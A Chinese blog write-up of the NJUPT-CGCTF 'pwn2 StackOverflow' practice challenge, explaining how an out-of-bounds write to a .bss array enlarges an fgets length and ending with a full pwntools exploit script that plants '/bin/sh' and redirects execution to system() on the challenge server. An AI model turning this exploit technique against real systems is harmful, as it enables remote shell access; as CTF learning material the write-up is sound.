# NJUPT-CGCTF pwn2 StackOverflow [Writeup]

原创

C0ss4ck 于 2017-12-30 19:27:40 发布 1872 收藏 1
分类专栏： PWN_of_CTF 文章标签： stack overflow CTF pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cossack9989/article/details/78938940
版权


PWN_of_CTF 专栏收录该内容
4 篇文章 0 订阅
订阅专栏

最近肥肠地想入门一下pwn，找了道题试了一下。

题目网址：StackOverflow

栈溢出啊。。虽然我水平很菜。。还是觉得挺有意思的

不扯了，先看题。

扔到32位IDA里面看看，观察一下，发现有两个很关键的函数message与pwnme，很显然message可以用来栈溢出，pwnme可以用来调用system函数，但是Alt+T之后并没有发现‘/bin/sh’，也没有提供libc.so，这可咋整啊

问题先搁置一下，首先得来个栈溢出。

```
int message()
{
  char s; // [sp+18h] [bp-30h]@1

  n = 10;
  puts("you can leave some message here:");
  fgets(A, 60, stdin);
  puts("your name please:");
  fgets(&s, n, stdin);
  return puts("Thank you");
}
```

http://blog.csdn.net/cossack9989

可是，用的是相对于gets更加安全的fgets，而且缓冲区只有10byte。。。

于是去内存中找变量n

```
.bss:0804A080 ; char A[40]
.bss:0804A080 A               db 28h dup(?)
.bss:0804A0A8 ; int n
.bss:0804A0A8 n               dd ?
.bss:0804A0A8
.bss:0804A0AC                 align 20h
.bss:0804A0C0                 public choice
```

http://blog.csdn.net/cossack9989

bss段（未初始化全局变量）。。妙啊。。看来是数组A越界改n的值啊，把n改成自己想要的大小

然后理论上说fgets遇‘\n’或缓冲区满则结束，是无法溢出的，但是既然我能控制缓冲区大小，不就相当于可以StackOverflow了吗？

这样我就可以去构造payload去覆盖ebp，篡改返回地址，指向pwnme函数。

到此，第一步结束了，接下来又回到了开头的问题——没有‘/bin/sh’。

可是我有bss段啊，在第一次输入时再补上一个‘/bin/sh’不就行了？

放脚本

```
from pwn import *
r=remote('182.254.217.142',10001)

#create '/bin/sh' in bss
r.recvuntil('your choice:\n')
r.sendline('1')

payload1='A'*40+p32(0x80)+'/bin/sh'     #exploit the bss
r.recvuntil('you can leave some message here:\n')
r.sendline(payload1)

elf=ELF('./cgpwna')
sysadr=elf.symbols['system']            #find the adr of system

payload2='A'*(0x30+0x4)+p32(sysadr)+p32(0xDEADBEEF)+p32(0x0804A0AD)
     #use system('/bin/sh') and rand return address
r.recvuntil('your name please:\n')
r.sendline(payload2)

r.interactive()
```

（小插曲：一开始/bin/sh的地址搞错了，打了半天没打下来（滑稽））

最后，祝各位元旦快乐啊，2018年一起进步！